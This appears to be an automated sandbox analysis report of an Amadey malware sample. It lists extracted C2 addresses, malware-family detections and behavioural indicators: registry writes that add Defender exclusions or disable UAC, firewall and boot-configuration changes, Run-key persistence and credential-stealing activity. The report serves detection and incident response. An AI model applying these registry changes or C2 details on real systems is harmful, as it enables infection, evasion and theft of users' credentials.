amadey | 2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203

Analysis

max time kernel
147s
max time network
305s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
03/05/2024, 22:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
Size

1.8MB
MD5

f5a33e2c9e2f68449a07778cc2edf846
SHA1

9b1c77c93fdf834a281da35fb3d5060d6de64de6
SHA256

2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203
SHA512

cacf32b567797196a636d17ab2457cbe1bbd25f339cef8bd46848abba8d0e60ebbb5937d378a3300c8c0f242743489ceb1909039ebcf9670cabaecf08afdb12e
SSDEEP

49152:kcvZBay16INgG3P2GHYTAIEj6G3KdbeuBJI4:ki1tC3KX66cR/I

Malware Config

Extracted

Family

amadey

Version

4.18

http://193.233.132.56

Attributes

install_dir
09fd851a4f
install_file
explorha.exe
strings_key
443351145ece4966ded809641c77cfa8
url_paths
/Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

redline

Botnet

Test1234

185.215.113.67:26260

Extracted

Family

stealc

http://52.143.157.84

Attributes

url_path
/c73eed764cc59dcb.php

Extracted

Family

amadey

Version

4.18

http://193.233.132.56

Attributes

strings_key
443351145ece4966ded809641c77cfa8
url_paths
/Pneh2sXQk0/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/memory/1644-865-0x0000000000E20000-0x0000000004718000-memory.dmp	family_zgrat_v1
behavioral1/memory/1644-870-0x000000001EBA0000-0x000000001EBC4000-memory.dmp	family_zgrat_v1
behavioral1/memory/1644-866-0x000000001ED30000-0x000000001EE40000-memory.dmp	family_zgrat_v1

Detects Arechclient2 RAT 1 IoCs

Arechclient2.

resource	yara_rule
behavioral1/memory/2776-801-0x0000000000400000-0x00000000004C6000-memory.dmp	MALWARE_Win_Arechclient

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 5 IoCs

resource	yara_rule
behavioral1/memory/1612-490-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral1/memory/3064-492-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral1/memory/1716-504-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral1/memory/2276-541-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba
behavioral1/memory/2832-548-0x0000000000400000-0x0000000001E01000-memory.dmp	family_glupteba

Modifies firewall policy service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1"	DUdXaoov3m3eSxtyOimymEoL.exe

PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0006000000015d44-78.dat	family_redline
behavioral1/memory/1244-88-0x00000000009F0000-0x0000000000A42000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral1/memory/2776-801-0x0000000000400000-0x00000000004C6000-memory.dmp	family_sectoprat

Stealc
Stealc is an infostealer written in C++.
stealer stealc

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Windows security bypass 2 TTPs 49 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\epoBtGYzqLvU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\pICeQFkDCDDquYVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nlcUipsDcFbdntMB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nlcUipsDcFbdntMB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\BYbtyXRfEAJ1b2gqaDMUiI5i.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qIYKRzUEasUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nlcUipsDcFbdntMB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ecOJmsgAHWlsC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\ecOJmsgAHWlsC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\pICeQFkDCDDquYVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FykBDDaqRGg1QNd3nMWeo2cZ.exe = "0"	FykBDDaqRGg1QNd3nMWeo2cZ.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zgoZGMcaU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\rhuXFflbMyLRQZzPf = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\zgoZGMcaU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\nlcUipsDcFbdntMB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\RulIkNIievDhgHPXlkoZaAnm.exe = "0"	RulIkNIievDhgHPXlkoZaAnm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\epoBtGYzqLvU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qIYKRzUEasUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorha.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	DUdXaoov3m3eSxtyOimymEoL.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe

Modifies boot configuration data using bcdedit 1 TTPs 14 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1728	bcdedit.exe
2296	bcdedit.exe
2628	bcdedit.exe
2180	bcdedit.exe
324	bcdedit.exe
2420	bcdedit.exe
2712	bcdedit.exe
1612	bcdedit.exe
2496	bcdedit.exe
2280	bcdedit.exe
2304	bcdedit.exe
856	bcdedit.exe
2636	bcdedit.exe
1768	bcdedit.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
8	1244	jok.exe
60	2772	rundll32.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe
2564	powershell.exe
2904	powershell.exe
384	powershell.exe
2700	powershell.exe
804	powershell.EXE
2304	powershell.exe
2196	powershell.exe
1280	powershell.exe
1728	powershell.exe
2908	powershell.exe
2248	powershell.exe
1484	powershell.exe
292	powershell.exe
2796	powershell.exe
2000	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\drivers\Winmon.sys	csrss.exe

Modifies Windows Firewall 2 TTPs 3 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1300	netsh.exe
2872	netsh.exe
2544	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 8 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorha.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	DUdXaoov3m3eSxtyOimymEoL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	DUdXaoov3m3eSxtyOimymEoL.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 37 IoCs

pid	Process
2888	explorha.exe
2868	swiiiii.exe
1620	NewB.exe
1244	jok.exe
2228	swiiii.exe
1668	file300un.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
3064	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
1640	DUdXaoov3m3eSxtyOimymEoL.exe
1716	FykBDDaqRGg1QNd3nMWeo2cZ.exe
1612	RulIkNIievDhgHPXlkoZaAnm.exe
2276	7gXkkaa0tPpkaDzU52e7XxmQ.exe
2076	RulIkNIievDhgHPXlkoZaAnm.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
1632	FykBDDaqRGg1QNd3nMWeo2cZ.exe
2704	uuw.0.exe
1880	7gXkkaa0tPpkaDzU52e7XxmQ.exe
2876	csrss.exe
2816	run.exe
1784	patch.exe
900	injector.exe
2700	NewB.exe
628	uuw.3.exe
1740	jfesawdr.exe
2960	gold.exe
1512	KyYAqWJmSfOvkX4nqsYYpvk5.exe
1912	Install.exe
2660	NewB.exe
820	dsefix.exe
856	alexxxxxxxx.exe
2380	XqmUpkH.exe
3000	windefender.exe
2124	windefender.exe
788	OvGGKZW.exe
324	O0aHH9i73ExfwL1vtfGn39oT.exe
2300	Install.exe
540	cxhEJDg.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Wine	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
Key opened	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Wine	explorha.exe

Loads dropped DLL 64 IoCs

pid	Process
2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
2888	explorha.exe
780	WerFault.exe
780	WerFault.exe
780	WerFault.exe
780	WerFault.exe
780	WerFault.exe
2888	explorha.exe
2888	explorha.exe
2888	explorha.exe
2888	explorha.exe
2888	explorha.exe
1516	rundll32.exe
1516	rundll32.exe
1516	rundll32.exe
1516	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2008	rundll32.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
2684	CasPol.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2772	rundll32.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
2832	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
2816	run.exe
2816	run.exe
2816	run.exe
864	Process not Found
1784	patch.exe
1784	patch.exe
1784	patch.exe
1784	patch.exe
1784	patch.exe
2876	csrss.exe
652	cmd.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
1112	7NRcYl09HvRjdKBCB6nChH7K.exe
2888	explorha.exe
1644	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1644	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1644	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 4 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0006000000016d3a-375.dat	themida
behavioral1/memory/1640-377-0x0000000140000000-0x0000000140808000-memory.dmp	themida
behavioral1/files/0x0006000000016d3a-373.dat	themida
behavioral1/memory/1640-735-0x0000000140000000-0x0000000140808000-memory.dmp	themida

Windows security modification 2 TTPs 9 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\BYbtyXRfEAJ1b2gqaDMUiI5i.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\RulIkNIievDhgHPXlkoZaAnm.exe = "0"	RulIkNIievDhgHPXlkoZaAnm.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\FykBDDaqRGg1QNd3nMWeo2cZ.exe = "0"	FykBDDaqRGg1QNd3nMWeo2cZ.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	RulIkNIievDhgHPXlkoZaAnm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	FykBDDaqRGg1QNd3nMWeo2cZ.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	BYbtyXRfEAJ1b2gqaDMUiI5i.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 3 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	DUdXaoov3m3eSxtyOimymEoL.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	file300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	file300un.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
54	pastebin.com
14	pastebin.com
15	pastebin.com
53	pastebin.com

Manipulates WinMon driver. 1 IoCs

Roottkits write to WinMon to hide PIDs from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMon	csrss.exe

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 17 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\GroupPolicy	DUdXaoov3m3eSxtyOimymEoL.exe
File created	C:\Windows\System32\GroupPolicy\Machine\Registry.pol	DUdXaoov3m3eSxtyOimymEoL.exe
File opened for modification	C:\Windows\System32\GroupPolicy\GPT.INI	DUdXaoov3m3eSxtyOimymEoL.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\GroupPolicy\gpt.ini	DUdXaoov3m3eSxtyOimymEoL.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	XqmUpkH.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	OvGGKZW.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	XqmUpkH.exe
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2620	2219fa1e23dac10134da6a6be9d6634a250dc2fc4cfdac1ad48d6e41c9406203.exe
2888	explorha.exe
1640	DUdXaoov3m3eSxtyOimymEoL.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2868 set thread context of 3012	2868	swiiiii.exe	32
PID 2228 set thread context of 1660	2228	swiiii.exe	43
PID 1668 set thread context of 2684	1668	file300un.exe	55
PID 2816 set thread context of 652	2816	run.exe	84
PID 652 set thread context of 2776	652	cmd.exe	98

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	FykBDDaqRGg1QNd3nMWeo2cZ.exe
File opened (read-only)	\??\VBoxMiniRdrDN	7gXkkaa0tPpkaDzU52e7XxmQ.exe
File opened (read-only)	\??\VBoxMiniRdrDN	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
File opened (read-only)	\??\VBoxMiniRdrDN	RulIkNIievDhgHPXlkoZaAnm.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	OvGGKZW.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	OvGGKZW.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	OvGGKZW.exe
File created	C:\Program Files (x86)\zgoZGMcaU\RJnrkq.dll	OvGGKZW.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	OvGGKZW.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	RulIkNIievDhgHPXlkoZaAnm.exe
File created	C:\Windows\Logs\CBS\CbsPersist_20240503222045.cab	makecab.exe
File created	C:\Windows\Tasks\biPxHmULFllsbMgnpt.job	schtasks.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
File created	C:\Windows\Tasks\yfARWRprRqUFWeTGf.job	schtasks.exe
File created	C:\Windows\Tasks\JHJXtPPPvDXVqpH.job	schtasks.exe
File created	C:\Windows\rss\csrss.exe	BYbtyXRfEAJ1b2gqaDMUiI5i.exe
